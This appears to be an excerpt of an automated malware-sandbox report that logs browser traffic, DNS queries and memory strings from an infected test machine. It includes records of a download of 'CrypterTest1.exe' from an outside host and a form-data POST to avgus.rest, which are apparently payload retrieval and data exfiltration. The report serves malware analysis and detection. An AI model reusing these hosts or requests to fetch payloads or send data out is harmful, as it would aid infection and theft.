Source: global traffic	HTTP traffic detected: GET /c.gif?rnd=1736795913608&udc=true&pg.n=default&pg.t=dhp&pg.c=547&pg.p=anaheim&rf=&tp=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2520tab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp&cvs=Browser&di=340&st.dpt=&st.sdpt=antp&subcvs=homepage&lng=en-us&rid=c0f35d339ab542aa94084b3aa634ebb4&activityId=c0f35d339ab542aa94084b3aa634ebb4&d.imd=false&scr=1280x1024&anoncknm=app_anon&issso=&aadState=0 HTTP/1.1Host: c.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: _C_ETH=1; USRLOC=; MUID=17238CFC5C3C6BEA3601998F5DB66AEC; _EDGE_S=F=1&SID=01844A4CCF296D9901245F3FCEA86C5D; _EDGE_V=1
Source: global traffic	HTTP traffic detected: GET /b2?rn=1736795913608&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=17238CFC5C3C6BEA3601998F5DB66AEC&cs_fpit=o&cs_fpdm=null&cs_fpdt=null HTTP/1.1Host: sb.scorecardresearch.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: UID=13426d7622b7ba457aabe811736795916; XID=13426d7622b7ba457aabe811736795916
Source: global traffic	HTTP traffic detected: GET /c.gif?rnd=1736795913608&udc=true&pg.n=default&pg.t=dhp&pg.c=547&pg.p=anaheim&rf=&tp=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2520tab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp&cvs=Browser&di=340&st.dpt=&st.sdpt=antp&subcvs=homepage&lng=en-us&rid=c0f35d339ab542aa94084b3aa634ebb4&activityId=c0f35d339ab542aa94084b3aa634ebb4&d.imd=false&scr=1280x1024&anoncknm=app_anon&issso=&aadState=0&ctsa=mr&CtsSyncId=A4B615E135A0419192104F65C658D827&MUID=17238CFC5C3C6BEA3601998F5DB66AEC HTTP/1.1Host: c.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: USRLOC=; MUID=17238CFC5C3C6BEA3601998F5DB66AEC; _EDGE_S=F=1&SID=01844A4CCF296D9901245F3FCEA86C5D; _EDGE_V=1; SM=T; msnup=%7B%22cnex%22%3A%22no%22%7D
Source: global traffic	HTTP traffic detected: GET /crx/blobs/AcmIXbpGoRruM6Rg2pdHIUfNGnvAwJcqpFoWJV4Xd6PeYFnv5YpJ0-GVzjWL6XpCDzrg9cVo2bTwfPVau85UdyeFfZQe-rOdS7oyguq-391NmfeQd9WZZkjpgIbL1I5KKEcAxlKa5Z8JDrufy52udyO9TokqhOw4Sbnj/GHBMNNJOOEKPMOECNNNILNNBDLOLHKHI_1_85_1_0.crx HTTP/1.1Host: clients2.googleusercontent.comConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /CrypterTest1.exe HTTP/1.1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:131.0) Gecko/20100101 Firefox/131.0Host: yachtingiturkey.comCache-Control: no-cache

Source: chrome.exe, 00000007.00000002.2227676009.00001DFC02662000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: %https://www.youtube.com/?feature=ytca equals www.youtube.com (Youtube)
Source: chrome.exe, 00000007.00000002.2237083144.00001DFC02D50000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: /www.youtube.com/J equals www.youtube.com (Youtube)
Source: chrome.exe, 00000007.00000002.2237083144.00001DFC02D50000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000002.2227676009.00001DFC02662000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: @https://www.youtube.com/s/notifications/manifest/cr_install.html equals www.youtube.com (Youtube)
Source: chrome.exe, 00000007.00000003.2151728482.00001DFC02668000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2151222800.00001DFC03128000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2150937593.00001DFC0256C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: const FACEBOOK_APP_ID=738026486351791;class DoodleShareDialogElement extends PolymerElement{static get is(){return"ntp-doodle-share-dialog"}static get template(){return getTemplate$3()}static get properties(){return{title:String,url:Object}}onFacebookClick_(){const url="https://www.facebook.com/dialog/share"+`?app_id=${FACEBOOK_APP_ID}`+`&href=${encodeURIComponent(this.url.url)}`+`&hashtag=${encodeURIComponent("#GoogleDoodle")}`;WindowProxy.getInstance().open(url);this.notifyShare_(DoodleShareChannel.kFacebook)}onTwitterClick_(){const url="https://twitter.com/intent/tweet"+`?text=${encodeURIComponent(`${this.title}\n${this.url.url}`)}`;WindowProxy.getInstance().open(url);this.notifyShare_(DoodleShareChannel.kTwitter)}onEmailClick_(){const url=`mailto:?subject=${encodeURIComponent(this.title)}`+`&body=${encodeURIComponent(this.url.url)}`;WindowProxy.getInstance().navigate(url);this.notifyShare_(DoodleShareChannel.kEmail)}onCopyClick_(){this.$.url.select();navigator.clipboard.writeText(this.url.url);this.notifyShare_(DoodleShareChannel.kLinkCopy)}onCloseClick_(){this.$.dialog.close()}notifyShare_(channel){this.dispatchEvent(new CustomEvent("share",{detail:channel}))}}customElements.define(DoodleShareDialogElement.is,DoodleShareDialogElement);function getTemplate$2(){return html`<!--_html_template_start_--><style include="cr-hidden-style">:host{--ntp-logo-height:200px;display:flex;flex-direction:column;flex-shrink:0;justify-content:flex-end;min-height:var(--ntp-logo-height)}:host([reduced-logo-space-enabled_]){--ntp-logo-height:168px}:host([doodle-boxed_]){justify-content:flex-end}#logo{forced-color-adjust:none;height:92px;width:272px}:host([single-colored]) #logo{-webkit-mask-image:url(icons/google_logo.svg);-webkit-mask-repeat:no-repeat;-webkit-mask-size:100%;background-color:var(--ntp-logo-color)}:host(:not([single-colored])) #logo{background-image:url(icons/google_logo.svg)}#imageDoodle{cursor:pointer;outline:0}#imageDoodle[tabindex='-1']{cursor:auto}:host([doodle-boxed_]) #imageDoodle{background-color:var(--ntp-logo-box-color);border-radius:20px;padding:16px 24px}:host-context(.focus-outline-visible) #imageDoodle:focus{box-shadow:0 0 0 2px rgba(var(--google-blue-600-rgb),.4)}#imageContainer{display:flex;height:fit-content;position:relative;width:fit-content}#image{max-height:var(--ntp-logo-height);max-width:100%}:host([doodle-boxed_]) #image{max-height:160px}:host([doodle-boxed_][reduced-logo-space-enabled_]) #image{max-height:128px}#animation{height:100%;pointer-events:none;position:absolute;width:100%}#shareButton{background-color:var(--ntp-logo-share-button-background-color,none);border:none;height:var(--ntp-logo-share-button-height,0);left:var(--ntp-logo-share-button-x,0);min-width:var(--ntp-logo-share-button-width,0);opacity:.8;outline:initial;padding:2px;position:absolute;top:var(--ntp-logo-share-button-y,0);width:var(--ntp-logo-share-button-width,0)}#shareButton:hover{opacity:1}#shareButton img{height:100%;width:100%}#iframe{border:none;
Source: chrome.exe, 00000007.00000003.2151728482.00001DFC02668000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2151222800.00001DFC03128000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2150937593.00001DFC0256C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: const FACEBOOK_APP_ID=738026486351791;class DoodleShareDialogElement extends PolymerElement{static get is(){return"ntp-doodle-share-dialog"}static get template(){return getTemplate$3()}static get properties(){return{title:String,url:Object}}onFacebookClick_(){const url="https://www.facebook.com/dialog/share"+`?app_id=${FACEBOOK_APP_ID}`+`&href=${encodeURIComponent(this.url.url)}`+`&hashtag=${encodeURIComponent("#GoogleDoodle")}`;WindowProxy.getInstance().open(url);this.notifyShare_(DoodleShareChannel.kFacebook)}onTwitterClick_(){const url="https://twitter.com/intent/tweet"+`?text=${encodeURIComponent(`${this.title}\n${this.url.url}`)}`;WindowProxy.getInstance().open(url);this.notifyShare_(DoodleShareChannel.kTwitter)}onEmailClick_(){const url=`mailto:?subject=${encodeURIComponent(this.title)}`+`&body=${encodeURIComponent(this.url.url)}`;WindowProxy.getInstance().navigate(url);this.notifyShare_(DoodleShareChannel.kEmail)}onCopyClick_(){this.$.url.select();navigator.clipboard.writeText(this.url.url);this.notifyShare_(DoodleShareChannel.kLinkCopy)}onCloseClick_(){this.$.dialog.close()}notifyShare_(channel){this.dispatchEvent(new CustomEvent("share",{detail:channel}))}}customElements.define(DoodleShareDialogElement.is,DoodleShareDialogElement);function getTemplate$2(){return html`<!--_html_template_start_--><style include="cr-hidden-style">:host{--ntp-logo-height:200px;display:flex;flex-direction:column;flex-shrink:0;justify-content:flex-end;min-height:var(--ntp-logo-height)}:host([reduced-logo-space-enabled_]){--ntp-logo-height:168px}:host([doodle-boxed_]){justify-content:flex-end}#logo{forced-color-adjust:none;height:92px;width:272px}:host([single-colored]) #logo{-webkit-mask-image:url(icons/google_logo.svg);-webkit-mask-repeat:no-repeat;-webkit-mask-size:100%;background-color:var(--ntp-logo-color)}:host(:not([single-colored])) #logo{background-image:url(icons/google_logo.svg)}#imageDoodle{cursor:pointer;outline:0}#imageDoodle[tabindex='-1']{cursor:auto}:host([doodle-boxed_]) #imageDoodle{background-color:var(--ntp-logo-box-color);border-radius:20px;padding:16px 24px}:host-context(.focus-outline-visible) #imageDoodle:focus{box-shadow:0 0 0 2px rgba(var(--google-blue-600-rgb),.4)}#imageContainer{display:flex;height:fit-content;position:relative;width:fit-content}#image{max-height:var(--ntp-logo-height);max-width:100%}:host([doodle-boxed_]) #image{max-height:160px}:host([doodle-boxed_][reduced-logo-space-enabled_]) #image{max-height:128px}#animation{height:100%;pointer-events:none;position:absolute;width:100%}#shareButton{background-color:var(--ntp-logo-share-button-background-color,none);border:none;height:var(--ntp-logo-share-button-height,0);left:var(--ntp-logo-share-button-x,0);min-width:var(--ntp-logo-share-button-width,0);opacity:.8;outline:initial;padding:2px;position:absolute;top:var(--ntp-logo-share-button-y,0);width:var(--ntp-logo-share-button-width,0)}#shareButton:hover{opacity:1}#shareButton img{height:100%;width:100%}#iframe{border:none;
Source: chrome.exe, 00000007.00000002.2237083144.00001DFC02D50000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: ht/www.youtube.com/J equals www.youtube.com (Youtube)
Source: chrome.exe, 00000007.00000002.2237344302.00001DFC02E30000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/ equals www.youtube.com (Youtube)
Source: chrome.exe, 00000007.00000002.2227676009.00001DFC02662000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/: equals www.youtube.com (Youtube)
Source: chrome.exe, 00000007.00000003.2172294370.00001DFC032C8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000002.2236202810.00001DFC02B68000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000002.2238001703.00001DFC02FA0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/?feature=ytca equals www.youtube.com (Youtube)
Source: chrome.exe, 00000007.00000002.2236202810.00001DFC02B68000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/?feature=ytcaogl equals www.youtube.com (Youtube)
Source: chrome.exe, 00000007.00000002.2237119441.00001DFC02D70000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000002.2227676009.00001DFC02662000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/J equals www.youtube.com (Youtube)
Source: chrome.exe, 00000007.00000002.2237344302.00001DFC02E30000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/dle equals www.youtube.com (Youtube)
Source: chrome.exe, 00000007.00000002.2240129898.00001DFC03D18000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000002.2237789580.00001DFC02F24000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000002.2234441826.00001DFC027C4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/s/notifications/manifest/cr_install.html equals www.youtube.com (Youtube)
Source: chrome.exe, 00000007.00000002.2240129898.00001DFC03D18000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/s/notifications/manifest/cr_install.htmlbag equals www.youtube.com (Youtube)
Source: chrome.exe, 00000007.00000002.2234441826.00001DFC027C4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/s/notifications/manifest/cr_install.htmllt equals www.youtube.com (Youtube)
Source: chrome.exe, 00000007.00000002.2240129898.00001DFC03D18000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/s/notifications/manifest/cr_install.htmlncm equals www.youtube.com (Youtube)
Source: chrome.exe, 00000007.00000002.2237151898.00001DFC02D9C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: www.youtube.com equals www.youtube.com (Youtube)

Source: global traffic	DNS traffic detected: DNS query: t.me
Source: global traffic	DNS traffic detected: DNS query: avgus.rest
Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: apis.google.com
Source: global traffic	DNS traffic detected: DNS query: play.google.com
Source: global traffic	DNS traffic detected: DNS query: ntp.msn.com
Source: global traffic	DNS traffic detected: DNS query: bzib.nelreports.net
Source: global traffic	DNS traffic detected: DNS query: sb.scorecardresearch.com
Source: global traffic	DNS traffic detected: DNS query: c.msn.com
Source: global traffic	DNS traffic detected: DNS query: assets.msn.com
Source: global traffic	DNS traffic detected: DNS query: api.msn.com
Source: global traffic	DNS traffic detected: DNS query: chrome.cloudflare-dns.com
Source: global traffic	DNS traffic detected: DNS query: yachtingiturkey.com
Source: global traffic	DNS traffic detected: DNS query: deff.nelreports.net

Source: unknown	DoH DNS queries detected: name: deff.nelreports.net
Source: unknown	DoH DNS queries detected: name: deff.nelreports.net

Source: unknown

HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----7yc2nozmozuaiekxlx4wUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:131.0) Gecko/20100101 Firefox/131.0Host: avgus.restContent-Length: 255Connection: Keep-AliveCache-Control: no-cache

Source: 5fctr1d2dt.exe, 00000016.00000000.2590238671.00000000008FF000.00000008.00000001.01000000.00000015.sdmp	String found in binary or memory: http://.css
Source: 5fctr1d2dt.exe, 00000016.00000000.2590238671.00000000008FF000.00000008.00000001.01000000.00000015.sdmp	String found in binary or memory: http://.jpg
Source: chrome.exe, 00000007.00000002.2237402508.00001DFC02E4C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2147289483.00001DFC0256C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2147902229.00001DFC02CEC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2147881420.00001DFC0256C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000B.00000003.2270677163.0000563C0037C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/1423136
Source: chrome.exe, 00000007.00000002.2237402508.00001DFC02E4C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2147289483.00001DFC0256C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2147902229.00001DFC02CEC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2147881420.00001DFC0256C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000B.00000003.2270677163.0000563C0037C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/2162
Source: chrome.exe, 00000007.00000002.2237402508.00001DFC02E4C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2147289483.00001DFC0256C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2147902229.00001DFC02CEC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2147881420.00001DFC0256C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000B.00000003.2270677163.0000563C0037C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/2517
Source: chrome.exe, 00000007.00000002.2237402508.00001DFC02E4C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2147289483.00001DFC0256C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2147902229.00001DFC02CEC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2147881420.00001DFC0256C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000B.00000003.2270677163.0000563C0037C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/2970
Source: chrome.exe, 00000007.00000002.2237344302.00001DFC02E30000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2147289483.00001DFC0256C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2147902229.00001DFC02CEC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2147881420.00001DFC0256C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000B.00000003.2270677163.0000563C0037C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3078
Source: chrome.exe, 00000007.00000002.2237402508.00001DFC02E4C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2147289483.00001DFC0256C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2147902229.00001DFC02CEC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2147881420.00001DFC0256C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000B.00000003.2270677163.0000563C0037C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3205
Source: chrome.exe, 00000007.00000002.2237402508.00001DFC02E4C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2147289483.00001DFC0256C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2147902229.00001DFC02CEC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2147881420.00001DFC0256C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000B.00000003.2270677163.0000563C0037C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3206
Source: chrome.exe, 00000007.00000002.2237402508.00001DFC02E4C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3206/
Source: chrome.exe, 00000007.00000002.2237402508.00001DFC02E4C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2147289483.00001DFC0256C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2147902229.00001DFC02CEC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2147881420.00001DFC0256C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000B.00000003.2270677163.0000563C0037C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3452
Source: chrome.exe, 00000007.00000002.2237402508.00001DFC02E4C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2147289483.00001DFC0256C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2147902229.00001DFC02CEC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2147881420.00001DFC0256C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000B.00000003.2270677163.0000563C0037C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3498
Source: chrome.exe, 00000007.00000002.2237402508.00001DFC02E4C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2147289483.00001DFC0256C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2147902229.00001DFC02CEC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2147881420.00001DFC0256C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000B.00000003.2270677163.0000563C0037C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3502
Source: chrome.exe, 00000007.00000002.2237402508.00001DFC02E4C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2147289483.00001DFC0256C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2147902229.00001DFC02CEC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2147881420.00001DFC0256C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000B.00000003.2270677163.0000563C0037C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3577
Source: chrome.exe, 00000007.00000002.2237402508.00001DFC02E4C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2147289483.00001DFC0256C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2147902229.00001DFC02CEC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2147881420.00001DFC0256C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000B.00000003.2270677163.0000563C0037C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3584
Source: chrome.exe, 00000007.00000002.2237402508.00001DFC02E4C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3584L
Source: chrome.exe, 00000007.00000002.2237402508.00001DFC02E4C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2147289483.00001DFC0256C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2147902229.00001DFC02CEC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2147881420.00001DFC0256C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000B.00000003.2270677163.0000563C0037C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3586
Source: msedge.exe, 0000000B.00000003.2270677163.0000563C0037C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3623
Source: msedge.exe, 0000000B.00000003.2270677163.0000563C0037C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3624
Source: msedge.exe, 0000000B.00000003.2270677163.0000563C0037C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3625
Source: chrome.exe, 00000007.00000002.2237402508.00001DFC02E4C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2147289483.00001DFC0256C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2147902229.00001DFC02CEC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2147881420.00001DFC0256C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000B.00000003.2270677163.0000563C0037C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3832
Source: chrome.exe, 00000007.00000002.2237402508.00001DFC02E4C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2147289483.00001DFC0256C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2147902229.00001DFC02CEC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2147881420.00001DFC0256C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000B.00000003.2270677163.0000563C0037C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3862
Source: chrome.exe, 00000007.00000002.2237402508.00001DFC02E4C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2147289483.00001DFC0256C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2147902229.00001DFC02CEC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2147881420.00001DFC0256C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000B.00000003.2270677163.0000563C0037C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3965
Source: chrome.exe, 00000007.00000002.2237402508.00001DFC02E4C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2147289483.00001DFC0256C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2147902229.00001DFC02CEC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2147881420.00001DFC0256C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000B.00000003.2270677163.0000563C0037C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3970
Source: chrome.exe, 00000007.00000002.2237402508.00001DFC02E4C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3970&
Source: chrome.exe, 00000007.00000002.2237402508.00001DFC02E4C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2147289483.00001DFC0256C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2147902229.00001DFC02CEC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2147881420.00001DFC0256C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000B.00000003.2270677163.0000563C0037C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/4324
Source: chrome.exe, 00000007.00000002.2237402508.00001DFC02E4C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2147289483.00001DFC0256C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2147902229.00001DFC02CEC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2147881420.00001DFC0256C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000B.00000003.2270677163.0000563C0037C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/4384
Source: chrome.exe, 00000007.00000002.2237402508.00001DFC02E4C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2147289483.00001DFC0256C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2147902229.00001DFC02CEC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2147881420.00001DFC0256C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000B.00000003.2270677163.0000563C0037C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/4405
Source: chrome.exe, 00000007.00000002.2237402508.00001DFC02E4C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/4405D
